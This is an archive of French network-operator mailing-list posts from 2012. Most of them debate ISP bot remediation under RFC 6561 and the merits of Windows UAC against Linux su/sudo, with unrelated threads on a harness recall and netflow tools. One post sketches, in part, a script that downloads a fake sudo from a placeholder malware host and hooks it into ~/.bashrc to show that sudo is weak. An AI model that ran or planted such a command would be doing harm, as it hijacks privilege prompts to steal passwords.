Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
Le 20/03/2012 16:22, Stephane Bortzmeyer a écrit : > Il n'existe pas de solution miracle contre les zombies. C'est comme > cela que je lis ce document qui, malgré son nom, propose peu de > remèdes. Et certaines des solutions relèvent plus d'une logique > « business » (se débarasser d'un problème) que d'une volonté > d'améliorer l'Internet (le document se réclame du MAAWG, cartel de gros > opérateurs très tentés par le nettoyage civilisateur). Je partage bien ton point de vue : ça manque de pistes pratiques. Sûrement parce que ça demande pas mal de boulot. En même temps, la logique "business" derrière la fourniture de services associés à la connexion à Internet est simple à mettre en place et correspond à une évolution du marché qui voit de plus en plus d'utilisateurs prêts à payer un service plus qualitatif que la cretinbox à 30€. Avec des opérateurs qui se prétendent intégrateurs et se diversifient voir verticalisent leurs offres, ça semblerait assez logique d'intégrer un certain nombre de services dans les box par exemple. Ca fait quelques temps qu'un système de netboot intégré aux box disposant d'un minimum de stockage me trotte dans la tête. Un système minimaliste pour l'accès au web et aux services mail, video, voip et autre du FAI, intégrant des outils de nettoyage, un "OS store" éventuellement, avec du coup l'opportunité de marger sur ces outils et sur un service de télémaintenance des postes y compris grand public, ça parait pas déconnant aussi bien techniquement que commercialement. Bon, tu vas pas netbooter une bouse d'il y a cinq ans connectée en WiFi mais ça peut couvrir une part non négligeable du parc malgré tout. Associer ça au sandboxing, à la télédistribution anticipée des updates système/AV (WindowsUpdate distribué aux box en multicast, ce sera pas efficace ça pour décongestionner certaines boucles locales ?), à de la doc vraiment accessible et des recommandations aux utilisateurs, ça fait un bon packaging pour Mme Michu... -- Jérôme Nicolle 06 19 31 27 14 --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
Le 20/03/2012 21:27, Rémi Bouhl a écrit :
> Sauf que les serveurs sous *nix sont administrés par des gens qui en
> général savent ce qu'ils font.
Oohhh le joli mythe ! Tu crois sincèrement que la quantité de merde qui
sort des réseaux de gros hébergeurs low-cost est issue de la volonté des
locataires des serveurs ?
Les gros hébergeurs ont le risque supplémentaire de machines bien
connectées et dispo h24, qui représentent un certain attrait. C'est pour
ça que le "sandboxing" s'y pratique assez souvent (serveur locké en
rescue par exemple).
Mais à fournir des OS par défaut antédiluviens, des panels bourrés de
bugs et sans valider que le client à le minimum de compétences requis
pour maintenir un minimum de sécu sur son système (bha oui, si on
vendait pas aux kevin on vendrait moins), forcement, il y a des merdes.
Mais sans aller jusque là : la quantité de serveurs déployés par des
boites et laissés à l'abandon jusqu'au remplacement de l'applicatif
parce que le budget MCO n'a pas été alloué, c'est tellement courant
qu'on pourrait le considérer comme étant la norme.
Bon, j’arrête le mode "Captain Obvious", mais l'idée est là : le
problème c'est le manque de responsabilisation des admins, pros ou pas,
des machines qui sont sous leur responsabilité. C'est de l'incivilité,
comme de conduire sans permis. Un retour à la netiquette ("tu fais de la
merde : tu perds ton privilège d'accès au réseau, point barre") fera un
grand ménage, mais c'est commercialement pas intéressant...
--
Jérôme Nicolle
06 19 31 27 14
---
Liste de diffusion du FRnOG
http://www.frnog.org/
RE: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
> Etienne Dechamps a écrit: > Ce qui les ralentit c'est surtout leur philosophie de la > rétrocompatibilité à tout prix. Suffit de lire The Old New > Thing pour se rendre compte que c'est une idée fixe là-bas. C'est vrai, mais la raison pour laquelle ils tiennent 95% du marché "corporate" c'est leur philosophie de la rétrocompatibilité à tout prix. Michel. --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
On Thu, 22 Mar 2012 00:21:16 +0100 e-t172 wrote: > Ton raisonnement s'applique à un gros parc d'entreprise avec des gens > payés à plein temps pour bosser sur ce genre de trucs (ce qui est > déjà pas gagné) et configurer au micropoil les politiques de > sécurité. Je te parle de la machine chez Madame Michu. Peux-tu me > citer une distribution user-friendly type Ubuntu qui implémente « > hors de la boîte » ce genre de mesures de sécurité ? (c'est une vraie > question) RHEL 5 et 6 et donc CentOS 5 et 6, Fedora toutes versions supportées, OpenSUSE depuis la 11 et dans doute la SUSE depuis la 11 aussi : SELinux actif après install pas dans un mode basique et le quidam n'a aucune manip à faire pour maintenir SELinux (le système de paquetage s'occupe de tout, le relabeling se fait lors des phase de boot si besoin. Un paquet qui se retrouve à être inutilisable à cause de SELinux est considéré comme buggé par rapport à la politique par défaut). La politique par défaut - http://oss.tresys.com/repos/refpolicy/ - est faite pour un grand nombre d'utilisation de base dont le poste de travail de Mme Michu. Il reste encore une demande de mot passe pour installer des paquetages pour des raisons non plus d'escalade de privilèges mais pour avec un moyen d'authentification à deux facteurs. root dans l'install de base n'est pas forcement l'utilisateur qui a le droit de manipuler les labels mais pour des raisons historiques, c'est plus ou moins conservées, çà risque de plus rester très longtemps, çà fait un moment que j'ai pas tellement eu le temps de participer à l'intégration d'une Fedora à part quelques patches de-ci delà. a +. -- Jérôme Benoit aka fraggle La Météo du Net - http://grenouille.com OpenPGP Key ID : 9FE9161D Key fingerprint : 9CA4 0249 AF57 A35B 34B3 AC15 FAA0 CB50 9FE9 161D signature.asc Description: PGP signature
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
On 2012-03-22 00:06, Jérôme Benoit wrote: On Wed, 21 Mar 2012 09:45:33 +0100 e-t172 wrote: http://msdn.microsoft.com/en-us/library/windows/desktop/aa374860%28v=vs.85%29.aspx http://msdn.microsoft.com/en-us/library/windows/desktop/aa379306%28v=vs.85%29.aspx Ça existe depuis XP, sorti en 2001. Personne ne les utilise puisque c'est pas obligatoire. Le principe étant que si il n'a pas d'impératif fonctionnel sécuritaire lors de la concrétisation d'un soft, le programmeur s'en tamponne le coquillard :) C'est donc au client de se retourner contre le fournisseur du logiciel vérolé. Je ne vois pas le rapport avec l'OS. (oui je sais, bisounours, toussa, m'enfin si plus de monde le faisait et tenait les développeurs pour responsables, on se retrouverait peut-être pas dans ce genre de situation) Il faut spécifier que le code est compatible ASLR à la compilation pour que ça fonctionne. Je ne vois pas en quoi c'est la faute de l'OS si des… « développeurs » tiers pondent du code qui ne fonctionne pas lorsqu'on randomise leurs espaces d'adressage. C'est la faute à l'OS dans le sens où l'utilisation d'ASLR est rendu optionnel. Ça ferait sans doute chier un paquet d'éditeur mais sans l'obligation, c'est juste faire du marketing sécuritaire de ASLR. Faut vérifier mais je pense que l'ASLR est activé par défaut lors de la création de nouveau code, le fait qu'il ne soit pas activé pour de l'ancien code est pour des questions de rétrocompatibilité. LSM est ton ami lors de la phase d'intégration, c'est là que tu définis quel paquet à le droit de faire quoi en fonction de critère très fin en fonction du modèle choisi (TE, RSBAC, MLS). C'est long ? Vi, très long et fastidieux mais quand tu as fini le boulot, je met au défi un cracker de passer outre. C'est user-frienly ? Vi, si ta politique est bien conçue. Même pas un prompt pour l'élévation de privilège, pas besoin (ce qui entre parenthèse est une hérésie, on ne demande pas à l'utilisateur de faire une élévation ...). Dans un autre mail tu cites un exemple de changement d'un alias pour pointer vers du code malicieux. C'est inexploitable avec LSM, le code n'aura pas les droits (pour faire court, c'est dans les extend attributes d'un fichier qui ne sont pas modifiables, ni par root, ni par l'utilisateur, seul dieu et le responsable le peut :)) Ton raisonnement s'applique à un gros parc d'entreprise avec des gens payés à plein temps pour bosser sur ce genre de trucs (ce qui est déjà pas gagné) et configurer au micropoil les politiques de sécurité. Je te parle de la machine chez Madame Michu. Peux-tu me citer une distribution user-friendly type Ubuntu qui implémente « hors de la boîte » ce genre de mesures de sécurité ? (c'est une vraie question) Plus sérieusement, MS doit passer maintenant à la phase : tu veux tourner sur Windows 8 ? Tu le fais en suivant mes règles de sécurité qui ne sont pas là pour te faire chier ou pour empêcher les gens de travailler, elles sont là pour blah blah J'ai l'impression que c'est ce qu'ils ont l'intention de faire pour Windows 8 ARM, où ils n'ont pas à ce soucier de la compatibilité puisque c'est une nouvelle plate-forme. Mais il est vrai que sur certains points la philosophie de Windows 8 ARM ressemble tellement à celle d'Android ou iOS que je me demande si on parle encore d'OS pour PC à ce stade… MS est suffisamment gros pour le faire dans le monde de l'informatique propriétaire, on se demande pourquoi çà a pris autant de temps et autant de dommage collatéraux (enfin, j'ai une idée du pourquoi du comment, mais çà fera l'objet d'un autre troll :)) Ce qui les ralentit c'est surtout leur philosophie de la rétrocompatibilité à tout prix. Suffit de lire The Old New Thing pour se rendre compte que c'est une idée fixe là-bas. -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 23 42 24 82 --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
On Wed, 21 Mar 2012 09:45:33 +0100 e-t172 wrote: > > http://msdn.microsoft.com/en-us/library/windows/desktop/aa374860%28v=vs.85%29.aspx > > http://msdn.microsoft.com/en-us/library/windows/desktop/aa379306%28v=vs.85%29.aspx > > Ça existe depuis XP, sorti en 2001. Personne ne les utilise puisque c'est pas obligatoire. Le principe étant que si il n'a pas d'impératif fonctionnel sécuritaire lors de la concrétisation d'un soft, le programmeur s'en tamponne le coquillard :) > Il faut spécifier que le code est compatible ASLR à la compilation > pour que ça fonctionne. Je ne vois pas en quoi c'est la faute de l'OS > si des… « développeurs » tiers pondent du code qui ne fonctionne pas > lorsqu'on randomise leurs espaces d'adressage. C'est la faute à l'OS dans le sens où l'utilisation d'ASLR est rendu optionnel. Ça ferait sans doute chier un paquet d'éditeur mais sans l'obligation, c'est juste faire du marketing sécuritaire de ASLR. > > Va falloir citer des sources, parce que pour l'instant, un Vista/7 > qui n'a pas la notion d'intégrité, j'en ai encore jamais vu. Et quand > bien même ce serait vrai, c'est la faute à l'OEM, pas l'OS. > Surtout pas. Un bon troll ne cite jamais ses sources :) > > 2) c'est l'application qui choisit et de ne pas le faire dans 98% > > des cas (hénaurme) > > Encore une fois, si une application tierce choisit d'être une > passoire, c'est son problème. Microsoft privilégie parfois la > compatibilité avec les anciennes applications à la sécurité quand ils > sont forcés de choisir. Après c'est clair que permettre aux gens de > travailler c'est vraiment pas important (sarcasm inside). Pas mal comme troll :p > Ceci dit, les applications présentant une surface d'attaque > importante telles que les navigateurs utilisent souvent ces > fonctionnalités. Oui mais bon, la sécurité çà se décrète par design au début, çà coute plus cher, çà demande plus de neurones mais ne pas le faire n'a pas juste quelques effets de bords vaguement indésirables, c'est plutôt dans les avalanches d'effets. Tu peux décliner le pb à un wagon de RFCs de l'IETF, en vrac : DNS TCP BGP > > Je suis conscient de cette distinction. Je dénonce justement le fait > que la distribution Linux la plus grand public (Ubuntu), malgré le > fait qu'elle soit basée sur un OS offrant des principes de sécurité > solides, envoie tout ça par la fenêtre dès lors qu'elle permet > l'utilisation de su/sudo. > > > Les corrections sont simples > > pour corriger des choix d'intégration. > > Tu peux expliquer ces corrections ? Plus précisément, si tu peux me > fournir un équivalent d'UAC sous Linux qui ne soit pas une passoire, > je suis tout ouïe. Et à ergonomie équivalente, hein, sinon c'est trop > facile (UAC c'est juste cliquer sur un bouton pour autoriser > l'élévation). LSM est ton ami lors de la phase d'intégration, c'est là que tu définis quel paquet à le droit de faire quoi en fonction de critère très fin en fonction du modèle choisi (TE, RSBAC, MLS). C'est long ? Vi, très long et fastidieux mais quand tu as fini le boulot, je met au défi un cracker de passer outre. C'est user-frienly ? Vi, si ta politique est bien conçue. Même pas un prompt pour l'élévation de privilège, pas besoin (ce qui entre parenthèse est une hérésie, on ne demande pas à l'utilisateur de faire une élévation ...). Dans un autre mail tu cites un exemple de changement d'un alias pour pointer vers du code malicieux. C'est inexploitable avec LSM, le code n'aura pas les droits (pour faire court, c'est dans les extend attributes d'un fichier qui ne sont pas modifiables, ni par root, ni par l'utilisateur, seul dieu et le responsable le peut :)) OpenBSD est une très bon exemple d'intégration continue de méthodes et techniques sécuritaires sans en faire une usine à gaz pour admin sys (ce qui peut peut être le défaut principal de LSM). > > > Windows est dans le cas ou çà a été oublié à la conception et le > > cheminement inverse pour palier les errances en sécurité à la > > conception est juste largement plus complexe et ... en cours de > > cheminement ... (pour rester poli) depuis 4 ans sans apporter pour > > le moment des réponses concrètes et efficientes (une parti du pb > > étant d'avoir mal habitué des palanqués de programmeurs a des APIs > > qui n’intègre aucunes notions de sécurité). > > C'est pas faux, mais tu ne peux pas nier le fait que depuis quelques > années Microsoft met les bouchées doubles pour tenter de rattraper > son retard. Je ne le nie pas, mais ne pas le faire ne ferait pas un bon troll :p Plus sérieusement, MS doit passer maintenant à la phase : tu veux tourner sur Windows 8 ? Tu le fais en suivant mes règles de sécurité qui ne sont pas là pour te faire chier ou pour empêcher les gens de travailler, elles sont là pour blah blah MS est suffisamment gros pour le faire dans le monde de l'informatique propriétaire, on se demande pourquoi çà a pris autant de temps et autant de dommage collatéraux (enfin, j'
[FRnOG] [ALERT] Défaut sur harnais Petzl
Bonjour, Ce message s'adresse aux opérateurs réalisant des travaux en hauteurs : pylônes, travaux en hauteur, PEMP, etc... Lors d'un contrôle périodique sur un harnais NEWTON, il a été détecté un mauvais positionnement de la couture de sécurité qui ferme un des anneaux du point d'attache sternal. Par mesure de précaution, Petzl demande à tous ses clients de réaliser une inspection des coutures de sécurité des anneaux du point d'attache sternal des harnais NEWTON. Les produits concernés par l'inspection sont les harnais de type NEWTON C73*** dont le numéro de série est inférieur ou égal à 11365***. http://www.petzl.com/fr/pro/harnais/appel-a-controle-harnais-newton#context Cdlt, -- PR --- Liste de diffusion du FRnOG http://www.frnog.org/
RE: [FRnOG] [TECH] Netflow
Nfdump + nfsen (avec son plugin PortTracker). -Message d'origine- De : frnog-requ...@frnog.org [mailto:frnog-requ...@frnog.org] De la part de Jérémy Martin Envoyé : mercredi 21 mars 2012 18:23 À : frnog-t...@frnog.org Objet : [FRnOG] [TECH] Netflow Bonjour, Juste une rapide question pour avoir un retour d'expérience. Vous utilisez quoi comme outils pour faire du netflow et voir ce qui passe dans vos routeurs ? Y a des outils libre qui existent ? On se tate entre plusieurs techno, et je sais pas trop quoi choisir. J'aimerais bien un truc gratuit pour démarrer mais bon ... Merci pour vos retours ! -- Cordialement, Jérémy Martin __ FreeHeberg.com : Osez l'hébergement gratuit de qualité professionnelle ! PHP + Mysql + Espace 2 à 20 Go --- Liste de diffusion du FRnOG http://www.frnog.org/ --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [TECH] Netflow
On Wed, 21 Mar 2012 18:22:44 +0100, "Jérémy Martin" said: > Y a des outils libre qui existent ? On se tate entre plusieurs techno, > et je sais pas trop quoi choisir. J'aimerais bien un truc gratuit pour > démarrer mais bon ... pmacct, nfsen+nfdump, as-stats, Ils supportent tous du Netflow et sFlow. Le choix depend fortement de tes besoins, sachant qu'il y a quand-meme possibilite d'utiliser plusieurs outils (par contre il va falloir etre un peu imgainatif pour eviter d'envoyer les stats en X exemplaires). Personellement c'est nfsen+nfdump + perl/PHP maison. --- Liste de diffusion du FRnOG http://www.frnog.org/
[FRnOG] [TECH] Netflow
Bonjour, Juste une rapide question pour avoir un retour d'expérience. Vous utilisez quoi comme outils pour faire du netflow et voir ce qui passe dans vos routeurs ? Y a des outils libre qui existent ? On se tate entre plusieurs techno, et je sais pas trop quoi choisir. J'aimerais bien un truc gratuit pour démarrer mais bon ... Merci pour vos retours ! -- Cordialement, Jérémy Martin __ FreeHeberg.com : Osez l'hébergement gratuit de qualité professionnelle ! PHP + Mysql + Espace 2 à 20 Go --- Liste de diffusion du FRnOG http://www.frnog.org/
RE: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
> RobOEM a écrit: > La source de l'infection n'est pas de son domaine de compétence, > mais la détection l'est. Et si l'on se réfère à ce genre de posts > http://www.mail-archive.com/frnog@frnog.org/msg17023.html > http://www.mail-archive.com/frnog@frnog.org/msg17826.html > c'est bien au FAI d'intervenir, et d'aider le client à se sortir > de la merde, dans une certaine limite. Attention au contexte: ces billets étaient dans le domaine de l'hébergement, pas de l'accès grand public, deux choses totalement différentes. Aussi, ne pas confondre détection et remédiation. > Ah ouais, passque le drive-by download ça existe pas? Lire le la partie du fil à propos de UAC, et si le drive-by download ça existe mais néanmoins on peut limiter la casse. >> Plus sérieusement, je pense que les fabricants d'antivirus vont >> trop loin avec les cracks de jeux et les keygens: ils ne testent >> pas si le crack contient un virus ou pas et marquent >> systématiquement le fichier comme virus. C'est contre-productif, >> car ça pousse les utilisateurs à désactiver l'antivirus quand >> ils sont convaincus que le crack ne présente pas de danger, >> ce qui est parfois le cas. > Totalement +1. Et même, cela permet à des gens pas bien > intentionnés de dire "ton AV va détecter ça comme un virus mais > c'est normal, regarde comment ils détectent tel crack, ou pwdump. > Ignore donc cet avertissement et continue avec l'install. > Après, où tirer la limite? Il n'y a pas de limite; si le crack ou le keygen contient aussi un merdiciel, le marquer comme tel mais s'il n'en contient pas, ne rien faire. Il ne faut pas confondre lutte contre les bots et lutte contre le piratage, et il y a encore des hackers qui écrivent des cracks et des keygens que pour le plaisir de le faire. En plus, ces temps-ci, c'est relativement facile de détecter ce genre de chose. Comme beaucoup d'autres, j'ai une petite VM dont je sauve le contenu qui me sert à essayer ce les trucs douteux; si je me fais véroler la VM, peu de conséquences: je recopie mon image propre, ça ne prend que quelques secondes. Récemment j'ai eu plusieurs clients qui m'ont demandé un CD de Windows XP home, parce qu'ils décollent l'étiquette de la vieille bécane dont ils se débarrassent et veulent installer une VM sur leur nouveau PC. Michel. --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
On 2012-03-21 15:59, Radu-Adrian Feurdean wrote: J'administre des serveurs Linux depuis presque dix ans. Je t'invite donc à développer, si possible en arrêtant de me prendre pour un con. Les setuid ne s'executent pas exactement dans le contexte de l'utilisateur. Certes, ca prend en entree des choses aleatoires fournis par l'utilisateur, mais ce n'est surtout pas le "n'importe quoi" dont tu parles. Je connais parfaitement le principe du setuid et je sais que su/sudo s'exécute en tant que root pour élever l'utilisateur, mais ce n'est pas ça dont je parle. Le problème dont je parle c'est que toute l'utilisation de su/sudo s'effectue dans un contexte (contexte au sens général, pas seulement utilisateur) dont la sécurité est exactement égale à zéro. Je vais détailler en prenant comme exemple sudo (mais le principe est exactement le même avec su). Je pars du principe que sudo demande un mot de passe pour effectuer l'élévation, vu que si sudo ne demande aucun mot de passe alors c'est gagné avant même d'avoir commencé (j'exécute sudo et hop je me retrouve root). Le cœur du problème est que sudo, dans le cas d'une utilisation typique, est exécuté dans le contexte d'un shell, qui lui même se trouve dans le contexte d'un terminal graphique, qui lui-même se trouve dans le contexte d'un serveur X. Tout ça représente une surface d'attaque grande comme un terrain de foot et qui ne présente aucune difficulté à exploiter. Tu vois où je veux en venir ? Considère par exemple ce script : wget http://malware.example.com/fakesudo -O ~/.foo chmod +x ~/.foo cat >> ~/.bashrc
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
On Wed, 21 Mar 2012 14:33:42 +0100, "e-t172" said: > prompt UAC doit apparaître genre une fois par mois, par exemple quand un > logiciel a décidé qu'il était temps de se mettre à jour. Dès qu'on sort > ... > > C'est pas faux, mais comme je l'ai dit, c'est une mentalité qui est en > train de changer à grande vitesse. Ce n'est pas l'impression que j'ai. Les updates, il y en a quelques applications "standard" qui en abusent encore trop. > J'administre des serveurs Linux depuis presque dix ans. Je t'invite donc > à développer, si possible en arrêtant de me prendre pour un con. Les setuid ne s'executent pas exactement dans le contexte de l'utilisateur. Certes, ca prend en entree des choses aleatoires fournis par l'utilisateur, mais ce n'est surtout pas le "n'importe quoi" dont tu parles. --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
On 2012-03-21 11:56, Radu-Adrian Feurdean wrote: On Tue, 20 Mar 2012 23:47:49 +0100, "e-t172" said: http://en.wikipedia.org/wiki/User_Account_Control On parle bien des fonctionalites qu'il faut imerativement deactiver si on veut pouvoir garder un systeme utilisable. C'est bien ca ? Cette remarque s'applique à Vista, ils ont corrigé le problème dans Windows 7. Il y a fort à parier que si c'étaient des systèmes Linux qui avaient 95% de parts de marché sur le bureau, la situation serait exactement la Les bases etant tres differentes, je ne suis pas du tout convaincu. Deja en windoze-land il y a quoi, 4-5 versions dans la nature (XP/32, Vista/32, Vista/64 , 7/32, 7/64) ? En *nix-land, il y en a nettement plus que ca. J'aurais plutôt tendance à dire que dans une telle situation les masses se concentreraient sur une ou deux distributions (genre Ubuntu), mais on spécule là. même. En fait, ce serait même pire : par rapport à UAC, la solution typique sous Linux à base de su/sudo (cf Ubuntu) est une véritable passoire. ? Tu peux expliquer ? Moi je retien juste que Vista+UAC etait totalement inutilisable. 7+UAC ca reste presque potable, mais les choses embetantes ne sont pas totalement disparues. Pour un utilisateur lambda type Madame Michu (j'ai ma mère en tête), le prompt UAC doit apparaître genre une fois par mois, par exemple quand un logiciel a décidé qu'il était temps de se mettre à jour. Dès qu'on sort du cercle des informaticiens, il devient franchement rare de devoir élever une application pour effectuer une tâche. D'ailleurs ça rend le système assez efficace, car vu la rareté de la demande, ma mère est bien consciente qu'il faut réfléchir un minimum avant d'accepter. Elle m'a même appelé une fois parce qu'elle avait un doute. Au moins, Microsoft essaie de mettre le maximum de bâtons dans les roues à quelqu'un qui essaierait de passer outre le prompt UAC ; par Il y a M$FT, et il y a les autres editeurs, qui eux n'ont pas l'air d'voir tout compris. Adobe au pif. En effet, wondows souffre d'un historique de plusieurs dizaines d'annees de mentalite "zero securite". C'est pas faux, mais comme je l'ai dit, c'est une mentalité qui est en train de changer à grande vitesse. contre sous Linux c'est la fête : su/sudo s'exécute dans un contexte (typiquement, un shell) qui est totalement sous le contrôle de l'utilisateur à droits restreints, ce qui en fait un dispositif de sécurité à peu près équivalent à un cadenas en mousse. Learn *nix ! De preference plus que w/ps/ls/vmstat. J'administre des serveurs Linux depuis presque dix ans. Je t'invite donc à développer, si possible en arrêtant de me prendre pour un con. Je précise que je suis ni pro-Linux ni pro-Windows. Par contre j'ai tendance à préférer Windows sur un poste de travail et Linux sur un serveur (mais pas pour des questions de sécurité, enfin, pas uniquement). -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 23 42 24 82 --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] DLink ça vaut quoi ?
On Wed, 21 Mar 2012 03:13:52 +, "Raphael MAUNIER" said: > Avant de faire des mises en prod, on fait du bon gros lab, on valide la > plupart des scénarios de coupures, d'urgence et seulement apres on passe > en prod. HAHAHAHA ! Faut avoir une direction cooperative pour pouvoir passer du temps avec ca. Certes, ca augmente la qualite du resultat final, mais c'est un peu difficile a faire passer quand tout devrait etre pret pour "le fin de la semaine derniere". Deja faire le test "juste avant de la mise en prod officielle" (on prepare l'archi, et on prend 30-60 minutes avant de la bascule en prod pour l'abuser un peu") c'est pas mal. --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
On Tue, 20 Mar 2012 23:47:49 +0100, "e-t172" said: > http://en.wikipedia.org/wiki/User_Account_Control On parle bien des fonctionalites qu'il faut imerativement deactiver si on veut pouvoir garder un systeme utilisable. C'est bien ca ? > Google Chrome met chaque thread correspondant à un onglet dans une > sandbox, et à ma connaissance, il n'utilise pas d'« énorme hack » pour La separation est relative (chaque onglet *n'est* *pas* independant, il y a generalement plusieurs qui sont groupes dans un meme thread), et la on parle de Chrome. > le faire. Il faut aussi signaler le mode protégé des threads d'IE qui > s'en rapproche pas mal. A verifier quand-meme. > Il y a fort à parier que si c'étaient des systèmes Linux qui avaient 95% > de parts de marché sur le bureau, la situation serait exactement la Les bases etant tres differentes, je ne suis pas du tout convaincu. Deja en windoze-land il y a quoi, 4-5 versions dans la nature (XP/32, Vista/32, Vista/64 , 7/32, 7/64) ? En *nix-land, il y en a nettement plus que ca. > même. En fait, ce serait même pire : par rapport à UAC, la solution > typique sous Linux à base de su/sudo (cf Ubuntu) est une véritable passoire. ? Tu peux expliquer ? Moi je retien juste que Vista+UAC etait totalement inutilisable. 7+UAC ca reste presque potable, mais les choses embetantes ne sont pas totalement disparues. > Au moins, Microsoft essaie de mettre le maximum de bâtons dans > les roues à quelqu'un qui essaierait de passer outre le prompt UAC ; par Il y a M$FT, et il y a les autres editeurs, qui eux n'ont pas l'air d'voir tout compris. Adobe au pif. En effet, wondows souffre d'un historique de plusieurs dizaines d'annees de mentalite "zero securite". > contre sous Linux c'est la fête : su/sudo s'exécute dans un contexte > (typiquement, un shell) qui est totalement sous le contrôle de > l'utilisateur à droits restreints, ce qui en fait un dispositif de > sécurité à peu près équivalent à un cadenas en mousse. Learn *nix ! De preference plus que w/ps/ls/vmstat. Par contre le chose qui commence a etre embetant dans le monde *nix, c'est le malware qui tourne entant qu'utilisateur standard (pas besoin de root). La fonctionalite est probablement un peu plus limitee, le nettoyage nettement plus facile, mais ca existe quand-meme, et ca pose des problemes. --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
On 2012-03-21 01:30, Jérôme Benoit wrote: On Tue, 20 Mar 2012 23:47:49 +0100 e-t172 wrote: On 2012-03-20 20:25, Jérôme Benoit wrote: C'est sur, c'est pas la faute de l'OS qui ne sépare pas les privilèges, Depuis Windows Vista, si. Tout utilisateur (même admin) est par défaut sur une session à droits restreints et doit explicitement autoriser une application à s'élever pour toucher au système. Et c'est conçu de telle sorte que même les vieilles applis fonctionnent avec des droits restreints, grâce à une astucieuse redirection automatique des appels système. http://en.wikipedia.org/wiki/User_Account_Control Cette bonne blague :) Et tu oses appeler çà de la séparation de privilèges ? man 7 capabilities sous Linux par exemple mais des mécanismes similaires existent sous tous les *nix des années avant 2008, l'année ou MS a tout juste commencé à comprendre les idées sous-jacentes du principe (mais pas entièrement vu le résultat :)) http://msdn.microsoft.com/en-us/library/windows/desktop/aa374860%28v=vs.85%29.aspx http://msdn.microsoft.com/en-us/library/windows/desktop/aa379306%28v=vs.85%29.aspx Ça existe depuis XP, sorti en 2001. qui ne randomize pas la pile d'allocation mémoire Idem : http://en.wikipedia.org/wiki/ASLR#Microsoft_Windows Ahahahahah, même OS X l'implémente mieux depuis la 10.7, je te donne 10 min pour trouver un bout de code en C qui listent les zones qui ne le sont pas et elles sont tellement nombreuses :) Il faut spécifier que le code est compatible ASLR à la compilation pour que ça fonctionne. Je ne vois pas en quoi c'est la faute de l'OS si des… « développeurs » tiers pondent du code qui ne fonctionne pas lorsqu'on randomise leurs espaces d'adressage. qui ne fourni pas de base une seule politique de type MAC Itou : http://en.wikipedia.org/wiki/Mandatory_Integrity_Control Tu cherches à te ridiculiser en public ? 1) c'est pas actif à la livraison dans trop de OEM Va falloir citer des sources, parce que pour l'instant, un Vista/7 qui n'a pas la notion d'intégrité, j'en ai encore jamais vu. Et quand bien même ce serait vrai, c'est la faute à l'OEM, pas l'OS. 2) c'est l'application qui choisit et de ne pas le faire dans 98% des cas (hénaurme) Encore une fois, si une application tierce choisit d'être une passoire, c'est son problème. Microsoft privilégie parfois la compatibilité avec les anciennes applications à la sécurité quand ils sont forcés de choisir. Après c'est clair que permettre aux gens de travailler c'est vraiment pas important (sarcasm inside). Ceci dit, les applications présentant une surface d'attaque importante telles que les navigateurs utilisent souvent ces fonctionnalités. j'ose à peine parler pas de sandbox (çà impliquerait d'avoir des appels systèmes POSIX pour être fait sans énorme hack) Google Chrome met chaque thread correspondant à un onglet dans une sandbox, et à ma connaissance, il n'utilise pas d'« énorme hack » pour le faire. Il faut aussi signaler le mode protégé des threads d'IE qui s'en rapproche pas mal. Un rapide sous d’œil à http://src.chromium.org/viewvc/chrome/trunk/src/sandbox/src/ me fait très largement dire le contraire :) Hum, oui. Au temps pour moi, j'avais pas pris le temps de vérifier. Il est clair que réimplémenter tous les appels système n'est exactement la solution la plus simple qui soit. Tu confonds deux choses qui n'ont aucun rapport : - La conception d'un système d'exploitation avec des mécanismes de sécurité qui tiennent la route; - L'intégration d'un tel système qui oublient juste d'implémenter lesdits mécanismes. Je suis conscient de cette distinction. Je dénonce justement le fait que la distribution Linux la plus grand public (Ubuntu), malgré le fait qu'elle soit basée sur un OS offrant des principes de sécurité solides, envoie tout ça par la fenêtre dès lors qu'elle permet l'utilisation de su/sudo. Les corrections sont simples pour corriger des choix d'intégration. Tu peux expliquer ces corrections ? Plus précisément, si tu peux me fournir un équivalent d'UAC sous Linux qui ne soit pas une passoire, je suis tout ouïe. Et à ergonomie équivalente, hein, sinon c'est trop facile (UAC c'est juste cliquer sur un bouton pour autoriser l'élévation). Windows est dans le cas ou çà a été oublié à la conception et le cheminement inverse pour palier les errances en sécurité à la conception est juste largement plus complexe et ... en cours de cheminement ... (pour rester poli) depuis 4 ans sans apporter pour le moment des réponses concrètes et efficientes (une parti du pb étant d'avoir mal habitué des palanqués de programmeurs a des APIs qui n’intègre aucunes notions de sécurité). C'est pas faux, mais tu ne peux pas nier le fait que depuis quelques années Microsoft met les bouchées doubles pour tenter de rattraper son retard. -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 23 42 24 82 --- Liste de diffusion du FRnOG http://www.frnog
Re: [FRnOG] [MISC] DLink ça vaut quoi ?
